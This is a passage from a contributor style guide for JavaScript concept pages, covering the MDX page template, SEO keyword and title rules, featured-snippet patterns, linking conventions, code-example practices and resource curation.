1\">\n    Explanation of the first step\n  </Step>\n  <Step title=\"Step 2\">\n    Explanation of the second step\n  </Step>\n</Steps>\n\n<AccordionGroup>\n  <Accordion title=\"Subtopic 1\">\n    Detailed explanation with code examples\n  </Accordion>\n  <Accordion title=\"Subtopic 2\">\n    Detailed explanation with code examples\n  </Accordion>\n</AccordionGroup>\n\n<Tip>\n**Quick Rule of Thumb:** [Memorable summary or mnemonic]\n</Tip>\n\n---\n\n## [The API/Implementation Section]\n\n[How to actually use the concept in code]\n\n### Basic Usage\n\n```javascript\n// Basic example with step-by-step comments\n// Step 1: Do this\nconst step1 = something()\n\n// Step 2: Then this\nconst step2 = somethingElse(step1)\n\n// Step 3: Finally\nconsole.log(step2)  // Expected output\n```\n\n### [Advanced Pattern]\n\n```javascript\n// More complex real-world example\n```\n\n---\n\n## [Common Mistakes Section - e.g., \"The #1 Fetch Mistake\"]\n\n[Highlight the most common mistake developers make]\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                         VISUAL COMPARISON                                │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│  WRONG WAY                           RIGHT WAY                           │\n│  ─────────                           ─────────                           │\n│  • Problem 1                         • Solution 1                        │\n│  • Problem 2                         • Solution 2                        │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\n```javascript\n// ❌ WRONG - Explanation of why this is wrong\nconst bad = wrongApproach()\n\n// ✓ CORRECT - Explanation of the right way\nconst good = correctApproach()\n```\n\n<Warning>\n**The Trap:** [Clear explanation of what goes wrong and why]\n</Warning>\n\n---\n\n## [Advanced Patterns Section]\n\n[Real-world patterns and best practices]\n\n### Pattern Name\n\n```javascript\n// Reusable pattern with practical application\nasync function realWorldExample() {\n  // Implementation\n}\n\n// Usage\nconst result = await realWorldExample()\n```\n\n---\n\n## Key Takeaways\n\n<Info>\n**The key things to remember:**\n\n1. **First key point** — Brief explanation\n\n2. **Second key point** — Brief explanation\n\n3. **Third key point** — Brief explanation\n\n4. **Fourth key point** — Brief explanation\n\n5. **Fifth key point** — Brief explanation\n\n[Aim for 8-10 key takeaways that summarize everything]\n</Info>\n\n---\n\n## Test Your Knowledge\n\n<AccordionGroup>\n  <Accordion title=\"Question 1: [Specific question about the concept]\">\n    **Answer:**\n    \n    [Clear explanation]\n    \n    ```javascript\n    // Code example demonstrating the answer\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Question 2: [Another question]\">\n    **Answer:**\n    \n    [Clear explanation with code if needed]\n  </Accordion>\n  \n  [Aim for 5-6 questions covering the main topics]\n</AccordionGroup>\n\n---\n\n## Related Concepts\n\n<CardGroup cols={2}>\n  <Card title=\"Related Concept 1\" icon=\"icon-name\" href=\"/concepts/slug\">\n    How it connects to this concept\n  </Card>\n  <Card title=\"Related Concept 2\" icon=\"icon-name\" href=\"/concepts/slug\">\n    How it connects to this concept\n  </Card>\n</CardGroup>\n\n---\n\n## Reference\n\n<CardGroup cols={2}>\n  <Card title=\"Main Topic — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/...\">\n    Official MDN documentation for the main concept\n  </Card>\n  <Card title=\"Related API — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/...\">\n    Additional MDN reference\n  </Card>\n</CardGroup>\n\n## Articles\n\n<CardGroup cols={2}>\n  <Card title=\"Article Title\" icon=\"newspaper\" href=\"https://...\">\n    Brief description of what the reader will learn from this article.\n  </Card>\n  [Aim for 4-6 high-quality articles]\n</CardGroup>\n\n## Videos\n\n<CardGroup cols={2}>\n  <Card title=\"Video Title\" icon=\"video\" href=\"https://...\">\n    Brief description of what the video covers.\n  </Card>\n  [Aim for 3-4 quality videos]\n</CardGroup>\n```\n\n---\n\n## SEO Guidelines\n\nSEO (Search Engine Optimization) is **critical** for this project. Each concept page should rank for the various ways developers search for that concept. Our goal is to appear in search results for queries like:\n\n- \"what is [concept] in JavaScript\"\n- \"how does [concept] work in JavaScript\"  \n- \"[concept] JavaScript explained\"\n- \"[concept] JavaScript tutorial\"\n- \"JavaScript [concept] example\"\n\nEvery writing decision — from title to structure to word choice — should consider search intent.\n\n---\n\n### Target Keywords for Each Concept\n\nEach concept page targets a **keyword cluster** — the family of related search queries. Before writing, identify these for your concept:\n\n| Keyword Type | Pattern | Example (DOM) |\n|--------------|---------|---------------|\n| **Primary** | [concept] + JavaScript | \"DOM JavaScript\", \"JavaScript DOM\" |\n| **What is** | what is [concept] in JavaScript | \"what is the DOM in JavaScript\" |\n| **How does** | how does [concept] work | \"how does the DOM work in JavaScript\" |\n| **How to** | how to [action] with [concept] | \"how to manipulate the DOM\" |\n| **Tutorial** | [concept] tutorial/guide/explained | \"DOM tutorial JavaScript\" |\n| **Comparison** | [concept] vs [related] | \"DOM vs virtual DOM\" |\n\n**More Keyword Cluster Examples:**\n\n<AccordionGroup>\n  <Accordion title=\"Closures Keyword Cluster\">\n    | Type | Keywords |\n    |------|----------|\n    | Primary | \"JavaScript closures\", \"closures in JavaScript\" |\n    | What is | \"what is a closure in JavaScript\", \"what are closures\" |\n    | How does | \"how do closures work in JavaScript\", \"how closures work\" |\n    | Why use | \"why use closures JavaScript\", \"closure use cases\" |\n    | Example | \"JavaScript closure example\", \"closure examples\" |\n    | Interview | \"closure interview questions JavaScript\" |\n  </Accordion>\n  \n  <Accordion title=\"Promises Keyword Cluster\">\n    | Type | Keywords |\n    |------|----------|\n    | Primary | \"JavaScript Promises\", \"Promises in JavaScript\" |\n    | What is | \"what is a Promise in JavaScript\", \"what are Promises\" |\n    | How does | \"how do Promises work\", \"how Promises work JavaScript\" |\n    | How to | \"how to use Promises\", \"how to chain Promises\" |\n    | Comparison | \"Promises vs callbacks\", \"Promises vs async await\" |\n    | Error | \"Promise error handling\", \"Promise catch\" |\n  </Accordion>\n  \n  <Accordion title=\"Event Loop Keyword Cluster\">\n    | Type | Keywords |\n    |------|----------|\n    | Primary | \"JavaScript event loop\", \"event loop JavaScript\" |\n    | What is | \"what is the event loop in JavaScript\" |\n    | How does | \"how does the event loop work\", \"how event loop works\" |\n    | Visual | \"event loop explained\", \"event loop visualization\" |\n    | Related | \"call stack and event loop\", \"task queue JavaScript\" |\n  </Accordion>\n  \n  <Accordion title=\"Call Stack Keyword Cluster\">\n    | Type | Keywords |\n    |------|----------|\n    | Primary | \"JavaScript call stack\", \"call stack JavaScript\" |\n    | What is | \"what is the call stack in JavaScript\" |\n    | How does | \"how does the call stack work\" |\n    | Error | \"call stack overflow JavaScript\", \"maximum call stack size exceeded\" |\n    | Visual | \"call stack explained\", \"call stack visualization\" |\n  </Accordion>\n</AccordionGroup>\n\n---\n\n### Title Tag Optimization\n\nThe frontmatter has **two title fields**:\n- `title` — The page's `<title>` tag (SEO, appears in search results)\n- `sidebarTitle` — The sidebar navigation text (cleaner, no \"JavaScript\" since we're on a JS site)\n\n**The Two-Title Pattern:**\n\n```mdx\n---\ntitle: \"Closures: How Functions Remember Their Scope in JavaScript\"\nsidebarTitle: \"Closures: How Functions Remember Their Scope\"\n---\n```\n\n- **`title`** ends with \"in JavaScript\" for SEO keyword placement\n- **`sidebarTitle`** omits \"JavaScript\" for cleaner navigation\n\n**Rules:**\n1. **50-60 characters** ideal length for `title` (Google truncates longer titles)\n2. **Concept name first** — lead with the topic, \"JavaScript\" comes at the end\n3. **Add a hook** — what will the reader understand or be able to do?\n4. **Be specific** — generic titles don't rank\n\n**Title Formulas That Work:**\n\n```\ntitle: \"[Concept]: [What You'll Understand] in JavaScript\"\nsidebarTitle: \"[Concept]: [What You'll Understand]\"\n\ntitle: \"[Concept]: [Benefit or Outcome] in JavaScript\"\nsidebarTitle: \"[Concept]: [Benefit or Outcome]\"\n```\n\n**Title Examples:**\n\n| ❌ Bad | ✓ title (SEO) | ✓ sidebarTitle (Navigation) |\n|--------|---------------|----------------------------|\n| `\"Closures\"` | `\"Closures: How Functions Remember Their Scope in JavaScript\"` | `\"Closures: How Functions Remember Their Scope\"` |\n| `\"DOM\"` | `\"DOM: How Browsers Represent Web Pages in JavaScript\"` | `\"DOM: How Browsers Represent Web Pages\"` |\n| `\"Promises\"` | `\"Promises: Handling Async Operations in JavaScript\"` | `\"Promises: Handling Async Operations\"` |\n| `\"Call Stack\"` | `\"Call Stack: How Function Execution Works in JavaScript\"` | `\"Call Stack: How Function Execution Works\"` |\n| `\"Event Loop\"` | `\"Event Loop: How Async Code Actually Runs in JavaScript\"` | `\"Event Loop: How Async Code Actually Runs\"` |\n| `\"Scope\"` | `\"Scope and Closures: Variable Visibility in JavaScript\"` | `\"Scope and Closures: Variable Visibility\"` |\n| `\"this\"` | `\"this: How Context Binding Works in JavaScript\"` | `\"this: How Context Binding Works\"` |\n| `\"Prototype\"` | `\"Prototype Chain: Understanding Inheritance in JavaScript\"` | `\"Prototype Chain: Understanding Inheritance\"` |\n\n**Character Count Check:**\nBefore finalizing, verify your `title` length:\n- Under 50 chars: Consider adding more descriptive context\n- 50-60 chars: Perfect length\n- Over 60 chars: Will be truncated in search results — shorten it\n\n---\n\n### Meta Description Optimization\n\nThe `description` field becomes the meta description — **the snippet users see in search results**. A compelling description increases click-through rate.\n\n**Rules:**\n1. **150-160 characters** maximum (Google truncates longer descriptions)\n2. **Include primary keyword** in the first half\n3. **Include secondary keywords** naturally if space allows\n4. **Start with an action word** — \"Learn\", \"Understand\", \"Discover\" (avoid \"Master\" — sounds AI-generated)\n5. **Promise specific value** — what will they learn?\n6. **End with a hook** — give them a reason to click\n\n**Description Formula:**\n\n```\n[Action word] [what the concept is] in JavaScript. [Specific things they'll learn]: [topic 1], [topic 2], and [topic 3].\n```\n\n**Description Examples:**\n\n| Concept | ❌ Too Short (Low CTR) | ✓ SEO-Optimized (150-160 chars) |\n|---------|----------------------|--------------------------------|\n| DOM | `\"Understanding the DOM\"` | `\"Learn how the DOM works in JavaScript. Understand how browsers represent HTML as a tree, select and manipulate elements, traverse nodes, and optimize rendering.\"` |\n| Closures | `\"Functions that remember\"` | `\"Learn JavaScript closures and how functions remember their scope. Covers lexical scoping, practical use cases, memory considerations, and common closure patterns.\"` |\n| Promises | `\"Async JavaScript\"` | `\"Understand JavaScript Promises for handling asynchronous operations. Learn to create, chain, and combine Promises, handle errors properly, and write cleaner async code.\"` |\n| Event Loop | `\"How async works\"` | `\"Discover how the JavaScript event loop manages async code execution. Understand the call stack, task queue, microtasks, and why JavaScript is single-threaded but non-blocking.\"` |\n| Call Stack | `\"Function execution\"` | `\"Learn how the JavaScript call stack tracks function execution. Understand stack frames, execution context, stack overflow errors, and how recursion affects the stack.\"` |\n| this | `\"Understanding this\"` | `\"Learn the 'this' keyword in JavaScript and how context binding works. Covers the four binding rules, arrow function behavior, and how to use call, apply, and bind.\"` |\n\n**Character Count Check:**\n- Under 120 chars: You're leaving value on the table — add more specifics\n- 150-160 chars: Optimal length\n- Over 160 chars: Will be truncated — edit ruthlessly\n\n---\n\n### Keyword Placement Strategy\n\nKeywords must appear in strategic locations — but **always naturally**. Keyword stuffing hurts rankings.\n\n**Priority Placement Locations:**\n\n| Priority | Location | How to Include |\n|----------|----------|----------------|\n| 🔴 Critical | Title | Primary keyword in first half |\n| 🔴 Critical | Meta description | Primary keyword + 1-2 secondary |\n| 🔴 Critical | First paragraph | Natural mention within first 100 words |\n| 🟠 High | H2 headings | Question-format headings with keywords |\n| 🟠 High | \"What you'll learn\" box | Topic-related phrases |\n| 🟡 Medium | H3 subheadings | Related keywords and concepts |\n| 🟡 Medium | Key Takeaways | Reinforce main keywords naturally |\n| 🟢 Good | Alt text | If using images, include keywords |\n\n**Example: Keyword Placement for DOM Page**\n\n```mdx\n---\ntitle: \"DOM: How Browsers Represent Web Pages in JavaScript\"      ← 🔴 Primary: \"in JavaScript\" at end\nsidebarTitle: \"DOM: How Browsers Represent Web Pages\"             ← Sidebar: no \"JavaScript\"\ndescription: \"Learn how the DOM works in JavaScript. Understand   ← 🔴 Primary: \"DOM works in JavaScript\"\nhow browsers represent HTML as a tree, select and manipulate      ← 🔴 Secondary: \"manipulate elements\"\nelements, traverse nodes, and optimize rendering.\"\n---\n\nHow does JavaScript change what you see on a webpage?             ← Hook question\nThe **Document Object Model (DOM)** is a programming interface    ← 🔴 Primary keyword in first paragraph\nfor web documents. It represents your HTML as a **tree of \nobjects** that JavaScript can read and manipulate.\n\n<Info>\n**What you'll learn in this guide:**                              ← 🟠 Topic reinforcement\n- What the DOM actually is\n- How to select elements (getElementById vs querySelector)        ← Secondary keywords\n- How to traverse the DOM tree\n- How to create, modify, and remove elements                      ← \"DOM\" implicit\n- How browsers render the DOM (Critical Rendering Path)\n</Info>\n\n## What is the DOM in JavaScript?                                 ← 🟠 H2 with question keyword\n\nThe DOM (Document Object Model) is...                             ← Natural repetition\n\n## How the DOM Works                                              ← 🟠 H2 with \"how\" keyword\n\n## DOM Manipulation Methods                                       ← 🟡 H3 with related keyword\n\n## Key Takeaways                                                  ← 🟡 Reinforce in summary\n```\n\n**Warning Signs of Keyword Stuffing:**\n- Same exact phrase appears more than 3-4 times per 1000 words\n- Sentences read awkwardly because keywords were forced in\n- Using keywords where pronouns (\"it\", \"they\", \"this\") would be natural\n\n---\n\n### Answering Search Intent\n\nGoogle ranks pages that **directly answer the user's query**. Structure your content to satisfy search intent immediately.\n\n**The First Paragraph Rule:**\n\nThe first paragraph after any H2 should directly answer the implied question. Don't build up to the answer — lead with it.\n\n```mdx\n<!-- ❌ BAD: Builds up to the answer -->\n## What is the Event Loop?\n\nBefore we can understand the event loop, we need to talk about JavaScript's \nsingle-threaded nature. You see, JavaScript can only do one thing at a time, \nand this creates some interesting challenges. The way JavaScript handles \nthis is through something called... the event loop.\n\n<!-- ✓ GOOD: Answers immediately -->\n## What is the Event Loop?\n\nThe **event loop** is JavaScript's mechanism for executing code, handling events, \nand managing asynchronous operations. It continuously monitors the call stack \nand task queue, moving queued callbacks to the stack when it's empty — this is \nhow JavaScript handles async code despite being single-threaded.\n```\n\n**Question-Format H2 Headings:**\n\nUse H2s that match how people search:\n\n| Search Query | H2 to Use |\n|--------------|-----------|\n| \"what is the DOM\" | `## What is the DOM?` |\n| \"how closures work\" | `## How Do Closures Work?` |\n| \"why use promises\" | `## Why Use Promises?` |\n| \"when to use async await\" | `## When Should You Use async/await?` |\n\n---\n\n### Featured Snippet Optimization\n\nFeatured snippets appear at **position zero** — above all organic results. Structure your content to win them.\n\n**Snippet Types and How to Win Them:**\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                      FEATURED SNIPPET TYPES                              │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│  QUERY TYPE           SNIPPET FORMAT        YOUR CONTENT STRUCTURE       │\n│  ───────────          ──────────────        ─────────────────────────    │\n│                                                                          │\n│  \"What is X\"          Paragraph             40-60 word definition        │\n│                                             immediately after H2         │\n│                                                                          │\n│  \"How to X\"           Numbered list         <Steps> component or         │\n│                                             numbered Markdown list       │\n│                                                                          │\n│  \"X vs Y\"             Table                 Comparison table with        │\n│                                             clear column headers         │\n│                                                                          │\n│  \"Types of X\"         Bulleted list         Bullet list under            │\n│                                             descriptive H2               │\n│                                                                          │\n│  \"[X] examples\"       Bulleted list or      Code examples with           │\n│                       code block            brief explanations           │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\n**Pattern 1: Definition Snippet (40-60 words)**\n\nFor \"what is [concept]\" queries:\n\n```mdx\n## What is a Closure in JavaScript?\n\nA **closure** is a function that retains access to variables from its outer \n(enclosing) scope, even after that outer function has finished executing. \nClosures are created every time a function is created in JavaScript, allowing \ninner functions to \"remember\" and access their lexical environment.\n```\n\n**Why this wins:**\n- H2 matches search query exactly\n- Bold keyword in first sentence\n- 40-60 word complete definition\n- Explains the \"why\" not just the \"what\"\n\n**Pattern 2: List Snippet (Steps)**\n\nFor \"how to [action]\" queries:\n\n```mdx\n## How to Make a Fetch Request in JavaScript\n\n<Steps>\n  <Step title=\"1. Call fetch() with the URL\">\n    The `fetch()` function takes a URL and returns a Promise that resolves to a Response object.\n  </Step>\n  \n  <Step title=\"2. Check if the response was successful\">\n    Always verify `response.ok` before processing — fetch doesn't throw on HTTP errors.\n  </Step>\n  \n  <Step title=\"3. Parse the response body\">\n    Use `response.json()` for JSON data, `response.text()` for plain text.\n  </Step>\n  \n  <Step title=\"4. Handle errors properly\">\n    Wrap everything in try/catch to handle both network and HTTP errors.\n  </Step>\n</Steps>\n```\n\n**Pattern 3: Table Snippet (Comparison)**\n\nFor \"[X] vs [Y]\" queries:\n\n```mdx\n## == vs === in JavaScript\n\n| Aspect | `==` (Loose Equality) | `===` (Strict Equality) |\n|--------|----------------------|------------------------|\n| Type coercion | Yes — converts types before comparing | No — types must match |\n| Speed | Slower (coercion overhead) | Faster (no coercion) |\n| Predictability | Can produce surprising results | Always predictable |\n| Recommendation | Avoid in most cases | Use by default |\n\n```javascript\n// Examples\n5 == \"5\"    // true (string coerced to number)\n5 === \"5\"   // false (different types)\n```\n```\n\n**Pattern 4: List Snippet (Types/Categories)**\n\nFor \"types of [concept]\" queries:\n\n```mdx\n## Types of Scope in JavaScript\n\nJavaScript has three types of scope that determine where variables are accessible:\n\n- **Global Scope** — Variables declared outside any function or block; accessible everywhere\n- **Function Scope** — Variables declared inside a function with `var`; accessible only within that function\n- **Block Scope** — Variables declared with `let` or `const` inside `{}`; accessible only within that block\n```\n\n---\n\n### Content Structure for SEO\n\nHow you structure content affects both rankings and user experience.\n\n**The Inverted Pyramid:**\n\nPut the most important information first. Search engines and users both prefer content that answers questions immediately.\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                        THE INVERTED PYRAMID                              │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│                                                                          │\n│            ┌─────────────────────────────────────┐                       │\n│            │       ANSWER THE QUESTION           │  ← First 100 words   │\n│            │       Definition + Core Concept     │    (most important)  │\n│            └──────────────────┬──────────────────┘                       │\n│                               │                                          │\n│              ┌────────────────┴────────────────┐                         │\n│              │       EXPLAIN HOW IT WORKS       │  ← Next 300 words     │\n│              │       Mechanism + Visual Diagram │    (supporting info)  │\n│              └────────────────┬─────────────────┘                        │\n│                               │                                          │\n│            ┌──────────────────┴──────────────────┐                       │\n│            │         SHOW PRACTICAL EXAMPLES      │  ← Code examples    │\n│            │         Code + Step-by-step          │    (proof it works) │\n│            └──────────────────┬──────────────────┘                       │\n│                               │                                          │\n│        ┌──────────────────────┴──────────────────────┐                   │\n│        │            COVER EDGE CASES                  │  ← Advanced      │\n│        │            Common mistakes, gotchas          │    (depth)       │\n│        └──────────────────────┬──────────────────────┘                   │\n│                               │                                          │\n│    ┌──────────────────────────┴──────────────────────────┐               │\n│    │               ADDITIONAL RESOURCES                   │  ← External  │\n│    │               Related concepts, articles, videos     │    (links)   │\n│    └──────────────────────────────────────────────────────┘               │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\n**Scannable Content Patterns:**\n\nGoogle favors content that's easy to scan. Use these elements:\n\n| Element | SEO Benefit | When to Use |\n|---------|-------------|-------------|\n| Short paragraphs | Reduces bounce rate | Always (2-4 sentences max) |\n| Bullet lists | Often become featured snippets | Lists of 3+ items |\n| Numbered lists | \"How to\" snippet potential | Sequential steps |\n| Tables | High snippet potential | Comparisons, reference data |\n| Bold text | Highlights keywords for crawlers | First mention of key terms |\n| Headings (H2/H3) | Structure signals to Google | Every major topic shift |\n\n**Content Length Guidelines:**\n\n| Length | Assessment | Action |\n|--------|------------|--------|\n| Under 1,000 words | Too thin | Add more depth, examples, edge cases |\n| 1,000-1,500 words | Minimum viable | Acceptable for simple concepts |\n| 1,500-2,500 words | Good | Standard for most concept pages |\n| 2,500-4,000 words | Excellent | Ideal for comprehensive guides |\n| Over 4,000 words | Evaluate | Consider splitting into multiple pages |\n\n**Note:** Length alone doesn't guarantee rankings. Every section must add value — don't pad content.\n\n---\n\n### Internal Linking for SEO\n\nInternal links help search engines understand your site structure and distribute page authority.\n\n**Topic Cluster Strategy:**\n\nThink of concept pages as an interconnected network. Every concept should link to 3-5 related concepts:\n\n```\n                              ┌─────────────────┐\n                      ┌───────│    Promises     │───────┐\n                      │       └────────┬────────┘       │\n                      │                │                │\n                      ▼                ▼                ▼\n              ┌───────────┐    ┌───────────────┐    ┌─────────────┐\n              │async/await│◄──►│  Event Loop   │◄──►│  Callbacks  │\n              └───────────┘    └───────────────┘    └─────────────┘\n                      │                │                │\n                      │                ▼                │\n                      │       ┌───────────────┐        │\n                      └──────►│  Call Stack   │◄───────┘\n                              └───────────────┘\n```\n\n**Link Placement Guidelines:**\n\n1. **In Prerequisites (Warning box):**\n```mdx\n<Warning>\n**Prerequisite:** This guide assumes you understand [Promises](/concepts/promises) and the [Event Loop](/concepts/event-loop). Read those first if you're not comfortable with asynchronous JavaScript.\n</Warning>\n```\n\n2. **In Body Content (natural context):**\n```mdx\nWhen the callback finishes, it's added to the task queue — which is managed by the [event loop](/concepts/event-loop).\n```\n\n3. **In Related Concepts Section:**\n```mdx\n<CardGroup cols={2}>\n  <Card title=\"Promises\" icon=\"handshake\" href=\"/concepts/promises\">\n    async/await is built on top of Promises\n  </Card>\n  <Card title=\"Event Loop\" icon=\"arrows-spin\" href=\"/concepts/event-loop\">\n    How JavaScript manages async operations\n  </Card>\n</CardGroup>\n```\n\n**Anchor Text Best Practices:**\n\n| ❌ Bad Anchor Text | ✓ Good Anchor Text | Why |\n|-------------------|-------------------|-----|\n| \"click here\" | \"event loop guide\" | Descriptive, includes keyword |\n| \"this article\" | \"our Promises concept\" | Tells Google what page is about |\n| \"here\" | \"JavaScript closures\" | Keywords in anchor text |\n| \"read more\" | \"understanding the call stack\" | Natural, informative |\n\n---\n\n### URL and Slug Best Practices\n\nURLs (slugs) are a minor but meaningful ranking factor.\n\n**Rules:**\n1. **Use lowercase** — `closures` not `Closures`\n2. **Use hyphens** — `call-stack` not `call_stack` or `callstack`\n3. **Keep it short** — aim for 3-5 words maximum\n4. **Include primary keyword** — the concept name\n5. **Avoid stop words** — skip \"the\", \"and\", \"in\", \"of\" unless necessary\n\n**Slug Examples:**\n\n| Concept | ❌ Avoid | ✓ Use |\n|---------|---------|-------|\n| The Event Loop | `the-event-loop` | `event-loop` |\n| this, call, apply and bind | `this-call-apply-and-bind` | `this-call-apply-bind` |\n| Scope and Closures | `scope-and-closures` | `scope-and-closures` (acceptable) or `scope-closures` |\n| DOM and Layout Trees | `dom-and-layout-trees` | `dom` or `dom-layout-trees` |\n\n**Note:** For this project, slugs are already set. When creating new pages, follow these conventions.\n\n---\n\n### Opening Paragraph: The SEO Power Move\n\nThe opening paragraph is prime SEO real estate. It should:\n1. Hook the reader with a question they're asking\n2. Include the primary keyword naturally\n3. Provide a brief definition or answer\n4. Set up what they'll learn\n\n**Template:**\n\n```mdx\n[Question hook that matches search intent?] [Maybe another question?]\n\nThe **[Primary Keyword]** is [brief definition that answers \"what is X\"]. \n[One sentence explaining why it matters or what it enables].\n\n```javascript\n// Immediately show a simple example\n```\n\n[Brief transition to \"What you'll learn\" box]\n```\n\n**Example (Closures):**\n\n```mdx\nWhy do some functions seem to \"remember\" variables that should have disappeared? \nHow can a callback still access variables from a function that finished running \nlong ago?\n\nThe answer is **closures** — one of JavaScript's most powerful (and often \nmisunderstood) features. A closure is a function that retains access to its \nouter scope's variables, even after that outer scope has finished executing.\n\n```javascript\nfunction createCounter() {\n  let count = 0  // This variable is \"enclosed\" by the returned function\n  return function() {\n    count++\n    return count\n  }\n}\n\nconst counter = createCounter()\nconsole.log(counter())  // 1\nconsole.log(counter())  // 2 — it remembers!\n```\n\nUnderstanding closures unlocks patterns like private variables, factory functions, \nand the module pattern that power modern JavaScript.\n```\n\n**Why this works for SEO:**\n- Question hooks match how people search (\"why do functions remember\")\n- Bold keyword in first paragraph\n- Direct definition answers \"what is a closure\"\n- Code example demonstrates immediately\n- Natural setup for learning objectives\n\n---\n\n## Inline Linking Rules (Critical!)\n\n### Always Link to MDN\n\nWhenever you introduce a new Web API, method, object, or JavaScript concept, **link to MDN immediately**. This gives readers a path to deeper learning.\n\n```mdx\n<!-- ✓ CORRECT: Link on first mention -->\nThe **[Fetch API](https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API)** is JavaScript's modern way to make network requests.\n\nThe **[Response](https://developer.mozilla.org/en-US/docs/Web/API/Response)** object contains everything about the server's reply.\n\nMost modern APIs return data in **[JSON](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON)** format.\n\n<!-- ❌ WRONG: No links -->\nThe Fetch API is JavaScript's modern way to make network requests.\n```\n\n### Link to Related Concept Pages\n\nWhen mentioning concepts covered in other pages, link to them:\n\n```mdx\n<!-- ✓ CORRECT: Internal links to related concepts -->\nIf you're not familiar with it, check out our [async/await concept](/concepts/async-await) first.\n\nThis guide assumes you understand [Promises](/concepts/promises).\n\n<!-- ❌ WRONG: No internal links -->\nIf you're not familiar with async/await, you should learn that first.\n```\n\n### Common MDN Link Patterns\n\n| Concept | MDN URL Pattern |\n|---------|-----------------|\n| Web APIs | `https://developer.mozilla.org/en-US/docs/Web/API/{APIName}` |\n| JavaScript Objects | `https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/{Object}` |\n| HTTP | `https://developer.mozilla.org/en-US/docs/Web/HTTP` |\n| HTTP Methods | `https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods/{METHOD}` |\n| HTTP Headers | `https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers` |\n\n---\n\n## Code Examples Best Practices\n\n### 1. Start with the Simplest Possible Example\n\n```javascript\n// ✓ GOOD: Start with the absolute basics\n// This is how you fetch data in JavaScript\nconst response = await fetch('https://api.example.com/users/1')\nconst user = await response.json()\nconsole.log(user.name)  // \"Alice\"\n```\n\n### 2. Use Step-by-Step Comments\n\n```javascript\n// Step 1: fetch() returns a Promise that resolves to a Response object\nconst responsePromise = fetch('https://api.example.com/users')\n\n// Step 2: When the response arrives, we get a Response object\nresponsePromise.then(response => {\n  console.log(response.status)      // 200\n  \n  // Step 3: The body is a stream, we need to parse it\n  return response.json()\n})\n.then(data => {\n  // Step 4: Now we have the actual data\n  console.log(data)\n})\n```\n\n### 3. Show Output in Comments\n\n```javascript\nconst greeting = \"Hello\"\nconsole.log(typeof greeting)  // \"string\"\n\nconst numbers = [1, 2, 3]\nconsole.log(numbers.length)   // 3\n```\n\n### 4. Use ❌ and ✓ for Wrong/Correct Patterns\n\n```javascript\n// ❌ WRONG - This misses HTTP errors!\ntry {\n  const response = await fetch('/api/users/999')\n  const data = await response.json()\n} catch (error) {\n  // Only catches NETWORK errors, not 404s!\n}\n\n// ✓ CORRECT - Check response.ok\ntry {\n  const response = await fetch('/api/users/999')\n  \n  if (!response.ok) {\n    throw new Error(`HTTP error! Status: ${response.status}`)\n  }\n  \n  const data = await response.json()\n} catch (error) {\n  // Now catches both network AND HTTP errors\n}\n```\n\n### 5. Use Meaningful Variable Names\n\n```javascript\n// ❌ BAD\nconst x = [1, 2, 3]\nconst y = x.map(z => z * 2)\n\n// ✓ GOOD\nconst numbers = [1, 2, 3]\nconst doubled = numbers.map(num => num * 2)\n```\n\n### 6. Progress from Simple to Complex\n\n```javascript\n// Level 1: Basic usage\nfetch('/api/users')\n\n// Level 2: With options\nfetch('/api/users', {\n  method: 'POST',\n  body: JSON.stringify({ name: 'Alice' })\n})\n\n// Level 3: Full real-world pattern\nasync function createUser(userData) {\n  const response = await fetch('/api/users', {\n    method: 'POST',\n    headers: { 'Content-Type': 'application/json' },\n    body: JSON.stringify(userData)\n  })\n  \n  if (!response.ok) {\n    throw new Error(`Failed to create user: ${response.status}`)\n  }\n  \n  return response.json()\n}\n```\n\n---\n\n## Resource Curation Guidelines\n\nExternal resources (articles, videos) are valuable, but must meet quality standards.\n\n### Quality Standards\n\nOnly include resources that are:\n\n1. **JavaScript-focused** — No resources primarily about other languages (C#, Python, Java, etc.), even if the concepts are similar\n2. **Still accessible** — Verify all links work before publishing\n3. **High quality** — From reputable sources (MDN, javascript.info, freeCodeCamp, well-known educators)\n4. **Up to date** — Avoid outdated resources; check publication dates for time-sensitive topics\n5. **Accurate** — Skim the content to verify it doesn't teach anti-patterns\n\n### Writing Resource Descriptions\n\nEach resource needs a **specific, engaging 2-sentence description** explaining what makes it unique. Generic descriptions waste the reader's time.\n\n```mdx\n<!-- ❌ Generic (bad) -->\n<Card title=\"JavaScript Promises Tutorial\" icon=\"newspaper\" href=\"...\">\n  Learn about Promises in JavaScript.\n</Card>\n\n<!-- ❌ Generic (bad) -->\n<Card title=\"Async/Await Explained\" icon=\"newspaper\" href=\"...\">\n  A comprehensive guide to async/await.\n</Card>\n\n<!-- ✓ Specific (good) -->\n<Card title=\"JavaScript Async/Await Tutorial\" icon=\"newspaper\" href=\"https://javascript.info/async-await\">\n  The go-to reference for async/await fundamentals. Includes exercises at the end to test your understanding of rewriting promise chains.\n</Card>\n\n<!-- ✓ Specific (good) -->\n<Card title=\"JavaScript Visualized: Promises & Async/Await\" icon=\"newspaper\" href=\"...\">\n  Animated GIFs showing the call stack, microtask queue, and event loop in action. This is how async/await finally \"clicked\" for thousands of developers.\n</Card>\n\n<!-- ✓ Specific (good) -->\n<Card title=\"How to Escape Async/Await Hell\" icon=\"newspaper\" href=\"...\">\n  The pizza-and-drinks ordering example makes parallel vs sequential execution crystal clear. Essential reading once you know the basics.\n</Card>\n```\n\n**Description Formula:**\n1. **Sentence 1:** What makes this resource unique OR what it specifically covers\n2. **Sentence 2:** Why a reader should click (what they'll gain, who it's best for, what stands out)\n\n**Avoid in descriptions:**\n- \"Comprehensive guide to...\" (vague)\n- \"Great tutorial on...\" (vague)  \n- \"Learn all 